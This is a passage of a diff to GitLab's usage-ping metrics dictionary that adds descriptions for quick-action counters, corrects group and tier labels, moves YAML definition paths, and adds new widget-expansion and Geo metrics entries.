-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181800_i_quickactions_spend_add_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181800_i_quickactions_spend_add_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_spend_subtract_monthly`
-Missing description
+Count of MAU using the `/spend` quick action to subtract time spent
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181758_i_quickactions_spend_subtract_monthly.yml)
@@ -12366,47 +12930,47 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_spend_subtract_weekly`
-Missing description
+Count of WAU using the `/spend` quick action to subtract time spent
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181756_i_quickactions_spend_subtract_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181756_i_quickactions_spend_subtract_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_submit_review_monthly`
-Missing description
+Count of MAU using the `/submit_review` quick action on Merge Requests
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181806_i_quickactions_submit_review_monthly.yml)
-Group: `group::project management`
+Group: `group::code review`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_submit_review_weekly`
-Missing description
+Count of WAU using the `/submit_review` quick action on Merge Requests
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181804_i_quickactions_submit_review_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181804_i_quickactions_submit_review_weekly.yml)
-Group: `group::project management`
+Group: `group::code review`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_subscribe_monthly`
-Missing description
+Count of MAU using the `/subscribe` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181809_i_quickactions_subscribe_monthly.yml)
@@ -12414,23 +12978,23 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_subscribe_weekly`
-Missing description
+Count of WAU using the `/subscribe` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181808_i_quickactions_subscribe_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181808_i_quickactions_subscribe_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_tableflip_monthly`
-Missing description
+Count of MAU using the `/tableflip` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181813_i_quickactions_tableflip_monthly.yml)
@@ -12438,71 +13002,71 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_tableflip_weekly`
-Missing description
+Count of WAU using the `/tableflip` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181811_i_quickactions_tableflip_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181811_i_quickactions_tableflip_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_tag_monthly`
-Missing description
+Count of MAU using the `/tag` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181817_i_quickactions_tag_monthly.yml)
-Group: `group::project management`
+Group: `group::source code`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_tag_weekly`
-Missing description
+Count of WAU using the `/tag` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181815_i_quickactions_tag_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181815_i_quickactions_tag_weekly.yml)
-Group: `group::project management`
+Group: `group::source code`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_target_branch_monthly`
-Missing description
+Count of MAU using the `/target_branch` quick action on Merge Requests
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181821_i_quickactions_target_branch_monthly.yml)
-Group: `group::project management`
+Group: `group::source code`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_target_branch_weekly`
-Missing description
+Count of WAU using the `/target_branch` quick action on Merge Requests
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181819_i_quickactions_target_branch_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181819_i_quickactions_target_branch_weekly.yml)
-Group: `group::project management`
+Group: `group::source code`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_title_monthly`
-Missing description
+Count of MAU using the `/title` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181824_i_quickactions_title_monthly.yml)
@@ -12510,23 +13074,23 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_title_weekly`
-Missing description
+Count of WAU using the `/title` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181822_i_quickactions_title_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181822_i_quickactions_title_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_todo_monthly`
-Missing description
+Count of MAU using the `/todo` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181828_i_quickactions_todo_monthly.yml)
@@ -12534,95 +13098,95 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_todo_weekly`
-Missing description
+Count of WAU using the `/todo` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181826_i_quickactions_todo_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181826_i_quickactions_todo_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_unassign_all_monthly`
-Missing description
+Count of MAU using the `/unassign` quick action on Merge Requests
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181835_i_quickactions_unassign_all_monthly.yml)
-Group: `group::project management`
+Group: `group::source code`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_unassign_all_weekly`
-Missing description
+Count of WAU using the `/unassign` quick action on Merge Requests
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181833_i_quickactions_unassign_all_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181833_i_quickactions_unassign_all_weekly.yml)
-Group: `group::project management`
+Group: `group::source code`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_unassign_reviewer_monthly`
-Missing description
+Count of MAU using the `/unassign_reviewer` or `/remove_reviewer` quick action on Merge Requests
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181839_i_quickactions_unassign_reviewer_monthly.yml)
-Group: `group::project management`
+Group: `group::code review`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_unassign_reviewer_weekly`
-Missing description
+Count of WAU using the `/unassign_reviewer` or `/remove_reviewer` quick action on Merge Requests
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181837_i_quickactions_unassign_reviewer_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181837_i_quickactions_unassign_reviewer_weekly.yml)
-Group: `group::project management`
+Group: `group::code review`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_unassign_specific_monthly`
-Missing description
+Count of MAU using the `/unassign @user1` quick action on Merge Requests
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181832_i_quickactions_unassign_specific_monthly.yml)
-Group: `group::project management`
+Group: `group::source code`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_unassign_specific_weekly`
-Missing description
+Count of WAU using the `/unassign @user1` quick action on Merge Requests
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181830_i_quickactions_unassign_specific_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181830_i_quickactions_unassign_specific_weekly.yml)
-Group: `group::project management`
+Group: `group::source code`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_unlabel_all_monthly`
-Missing description
+Count of MAU using the `/unlabel` quick action to remove all labels
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181846_i_quickactions_unlabel_all_monthly.yml)
@@ -12630,23 +13194,23 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_unlabel_all_weekly`
-Missing description
+Count of WAU using the `/unlabel` quick action to remove all labels
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181845_i_quickactions_unlabel_all_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181845_i_quickactions_unlabel_all_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_unlabel_specific_monthly`
-Missing description
+Count of MAU using the `/unlabel` or `/remove_label` quick action to remove one or more specific labels
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181843_i_quickactions_unlabel_specific_monthly.yml)
@@ -12654,23 +13218,23 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_unlabel_specific_weekly`
-Missing description
+Count of WAU using the `/unlabel` or `/remove_label` quick action to remove one or more specific labels
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181841_i_quickactions_unlabel_specific_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181841_i_quickactions_unlabel_specific_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_unlock_monthly`
-Missing description
+Count of MAU using the `/unlock` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181850_i_quickactions_unlock_monthly.yml)
@@ -12678,23 +13242,23 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_unlock_weekly`
-Missing description
+Count of WAU using the `/unlock` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181848_i_quickactions_unlock_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181848_i_quickactions_unlock_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_unsubscribe_monthly`
-Missing description
+Count of MAU using the `/unsubscribe` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181854_i_quickactions_unsubscribe_monthly.yml)
@@ -12702,35 +13266,35 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_unsubscribe_weekly`
-Missing description
+Count of WAU using the `/unsubscribe` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181852_i_quickactions_unsubscribe_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181852_i_quickactions_unsubscribe_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_weight_monthly`
-Missing description
+Count of MAU using the `/weight` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181857_i_quickactions_weight_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181857_i_quickactions_weight_monthly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_weight_weekly`
-Missing description
+Count of WAU using the `/weight` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181856_i_quickactions_weight_weekly.yml)
@@ -12738,35 +13302,35 @@ Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_wip_monthly`
-Missing description
+Count of MAU using the `/wip` quick action on Merge Requests
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181901_i_quickactions_wip_monthly.yml)
-Group: `group::project management`
+Group: `group::source code`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_wip_weekly`
-Missing description
+Count of WAU using the `/wip` quick action on Merge Requests
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181859_i_quickactions_wip_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181859_i_quickactions_wip_weekly.yml)
-Group: `group::project management`
+Group: `group::source code`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_zoom_monthly`
-Missing description
+Count of MAU using the `/zoom` quick action on Issues
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181905_i_quickactions_zoom_monthly.yml)
@@ -12774,31 +13338,31 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_zoom_weekly`
-Missing description
+Count of WAU using the `/zoom` quick action on Issues
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181903_i_quickactions_zoom_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181903_i_quickactions_zoom_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.quickactions_total_unique_counts_monthly`
-Missing description
+Count of MAU using one or more quick actions
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216184803_quickactions_total_unique_counts_monthly.yml)
-Group: ``
+Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.quickactions_total_unique_counts_weekly`
@@ -12908,6 +13472,30 @@ Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
+### `redis_hll_counters.secure.users_expanding_secure_security_report_monthly`
+
+Count of expanding the security report widget
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210409095855_users_expanding_secure_security_report_monthly.yml)
+
+Group: `group::static analysis`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.secure.users_expanding_secure_security_report_weekly`
+
+Count of expanding the security report widget
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210409095855_users_expanding_secure_security_report_weekly.yml)
+
+Group: `group::static analysis`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
### `redis_hll_counters.snippets.i_snippets_show_monthly`
Missing description
@@ -13114,7 +13702,7 @@ Tiers: `premium`, `ultimate`
### `redis_hll_counters.testing.i_testing_full_code_quality_report_total_weekly`
-Count of unique users per week|month who visit the full code quality report
+Count of unique users per week who visit the full code quality report
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216182145_i_testing_full_code_quality_report_total_weekly.yml)
@@ -13126,7 +13714,7 @@ Tiers: `premium`, `ultimate`
### `redis_hll_counters.testing.i_testing_group_code_coverage_project_click_total_monthly`
-Count of unique users per week|month who click on a project link in the group code coverage table
+Aggregated count of unique users who have clicked from group code coverage page to an individual project page each month.
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182153_i_testing_group_code_coverage_project_click_total_monthly.yml)
@@ -13138,19 +13726,19 @@ Tiers: `premium`, `ultimate`
### `redis_hll_counters.testing.i_testing_group_code_coverage_project_click_total_weekly`
-Missing description
+Aggregated count of unique users who have clicked from group code coverage page to an individual project page each week.
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216184132_i_testing_group_code_coverage_project_click_total_weekly.yml)
-Group: ``
+Group: `group::testing`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.testing.i_testing_group_code_coverage_visit_total_monthly`
-Count of unique users per week|month who visited the group code coverage page
+Count of unique users per month who visited the group code coverage page
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182143_i_testing_group_code_coverage_visit_total_monthly.yml)
@@ -13162,7 +13750,7 @@ Tiers: `premium`, `ultimate`
### `redis_hll_counters.testing.i_testing_group_code_coverage_visit_total_weekly`
-Count of unique users per week|month who visited the group code coverage page
+Count of unique users per week who visited the group code coverage page
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216182141_i_testing_group_code_coverage_visit_total_weekly.yml)
@@ -13174,7 +13762,7 @@ Tiers: `premium`, `ultimate`
### `redis_hll_counters.testing.i_testing_load_performance_widget_total_monthly`
-Count of unique users per week|month who expanded the load performance report MR widget
+Count of unique users per month who expanded the load performance report MR widget
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182156_i_testing_load_performance_widget_total_monthly.yml)
@@ -13186,7 +13774,7 @@ Tiers: `premium`, `ultimate`
### `redis_hll_counters.testing.i_testing_load_performance_widget_total_weekly`
-Count of unique users per week|month who expanded the load performance report MR widget
+Count of unique users per week who expanded the load performance report MR widget
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216182154_i_testing_load_performance_widget_total_weekly.yml)
@@ -13198,31 +13786,31 @@ Tiers: `premium`, `ultimate`
### `redis_hll_counters.testing.i_testing_metrics_report_artifact_uploaders_monthly`
-Internal Tracking to count number of unit tests parsed for planning of future code testing features. Data available [here](https://app.periscopedata.com/app/gitlab/788674/Verify:Testing-Group-Metrics?widget=10454394&udv=0)
+Tracks number of metrics reports uploaded monthly.
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216182200_i_testing_metrics_report_artifact_uploaders_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182200_i_testing_metrics_report_artifact_uploaders_monthly.yml)
Group: `group::testing`
Status: `data_available`
-Tiers: `free`, `premium`, `ultimate`
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.testing.i_testing_metrics_report_artifact_uploaders_weekly`
-Internal Tracking to count number of unit tests parsed for planning of future code testing features. Data available [here](https://app.periscopedata.com/app/gitlab/788674/Verify:Testing-Group-Metrics?widget=10454394&udv=0)
+Count of unique users per week who trigger a pipeline that uploads a metrics report.
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216182158_i_testing_metrics_report_artifact_uploaders_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216182158_i_testing_metrics_report_artifact_uploaders_weekly.yml)
Group: `group::testing`
Status: `data_available`
-Tiers: `free`, `premium`, `ultimate`
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.testing.i_testing_metrics_report_widget_total_monthly`
-Count of unique users per week|month who expanded the metrics report MR widget
+Count of unique users per month who expanded the metrics report MR widget
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182139_i_testing_metrics_report_widget_total_monthly.yml)
@@ -13234,7 +13822,7 @@ Tiers: `premium`, `ultimate`
### `redis_hll_counters.testing.i_testing_metrics_report_widget_total_weekly`
-Count of unique users per week|month who expanded the metrics report MR widget
+Count of unique users per week who expanded the metrics report MR widget
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216182138_i_testing_metrics_report_widget_total_weekly.yml)
@@ -13244,6 +13832,30 @@ Status: `data_available`
Tiers: `premium`, `ultimate`
+### `redis_hll_counters.testing.i_testing_summary_widget_total_monthly`
+
+Unique users that expand the test summary merge request widget by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210413205507_i_testing_summary_widget_total_monthly.yml)
+
+Group: `group::testing`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.testing.i_testing_summary_widget_total_weekly`
+
+Unique users that expand the test summary merge request widget by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210413205507_i_testing_summary_widget_total_weekly.yml)
+
+Group: `group::testing`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
### `redis_hll_counters.testing.i_testing_test_case_parsed_monthly`
Internal Tracking to count number of unit tests parsed for planning of future code testing features. Data available [here](https://app.periscopedata.com/app/gitlab/788674/Verify:Testing-Group-Metrics?widget=10454394&udv=0)
@@ -13270,7 +13882,7 @@ Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.testing.i_testing_web_performance_widget_total_monthly`
-Count of unique users per week|month who expanded the browser performance report MR widget
+Count of unique users per month who expanded the browser performance report MR widget
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182151_i_testing_web_performance_widget_total_monthly.yml)
@@ -13282,7 +13894,7 @@ Tiers: `premium`, `ultimate`
### `redis_hll_counters.testing.i_testing_web_performance_widget_total_weekly`
-Count of unique users per week|month who expanded the browser performance report MR widget
+Count of unique users per week who expanded the browser performance report MR widget
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216182149_i_testing_web_performance_widget_total_weekly.yml)
@@ -13300,7 +13912,7 @@ Missing description
Group: ``
-Status: `data_available`
+Status: `removed`
Tiers: `free`
@@ -13312,9 +13924,57 @@ Missing description
Group: ``
-Status: `data_available`
+Status: `removed`
-Tiers:
+Tiers: `premium`, `ultimate`
+
+### `redis_hll_counters.testing.users_expanding_testing_accessibility_report_monthly`
+
+Count of expanding the accessibility report widget
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210409100628_users_expanding_testing_accessibility_report_monthly.yml)
+
+Group: `group::testing`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.testing.users_expanding_testing_accessibility_report_weekly`
+
+Count of expanding the accessibility report widget
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210409100628_users_expanding_testing_accessibility_report_weekly.yml)
+
+Group: `group::testing`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.testing.users_expanding_testing_code_quality_report_monthly`
+
+Count of expanding the code quality widget
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210409100451_users_expanding_testing_code_quality_report_monthly.yml)
+
+Group: `group::testing`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `redis_hll_counters.testing.users_expanding_testing_code_quality_report_weekly`
+
+Count of expanding the code quality widget
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210409100451_users_expanding_testing_code_quality_report_weekly.yml)
+
+Group: `group::testing`
+
+Status: `implemented`
+
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.user_packages.i_package_composer_user_monthly`
@@ -13720,7 +14380,7 @@ Information about the operating system running GitLab
Group: `group::distribution`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -13736,23 +14396,13 @@ Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
-### `topology.duration_s`
-
-Time it took to collect topology data
-
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180922_duration_s.yml)
-
-Group: `group::memory`
-
-Status: `data_available`
-
-Tiers: `free`, `premium`, `ultimate`
+### `topology`
-### `topology.failures`
+Topology data
-Contains information about failed queries
+[Object JSON schema](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/objects_schemas/topology_schema.json)
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180924_failures.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210323120839_topology.yml)
Group: `group::memory`
@@ -14086,7 +14736,7 @@ Tiers: `free`
### `usage_activity_by_stage.create.merge_requests_with_added_rules`
-Merge Requests with added rules
+Merge requests with added rules
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216175047_merge_requests_with_added_rules.yml)
@@ -14300,6 +14950,18 @@ Status: `data_available`
Tiers: `free`
+### `usage_activity_by_stage.enablement.counts.geo_node_usage.git_fetch_event_count_weekly`
+
+Number of Git fetch events from Prometheus on the Geo secondary
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210309194425_git_fetch_event_count_weekly.yml)
+
+Group: `group::geo`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
### `usage_activity_by_stage.manage.bulk_imports.gitlab`
Distinct count of users that triggered an import using the Group Migration tool
@@ -15022,15 +15684,15 @@ Tiers: `free`
### `usage_activity_by_stage.plan.assignee_lists`
-Missing description
+Count of users creating assignee lists on Boards
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181132_assignee_lists.yml)
-Group: `group::plan`
+Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `usage_activity_by_stage.plan.epics`
@@ -15046,63 +15708,63 @@ Tiers: `free`
### `usage_activity_by_stage.plan.issues`
-Missing description
+Count of users creating Issues
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181115_issues.yml)
-Group: `group::plan`
+Group: `group::project management`
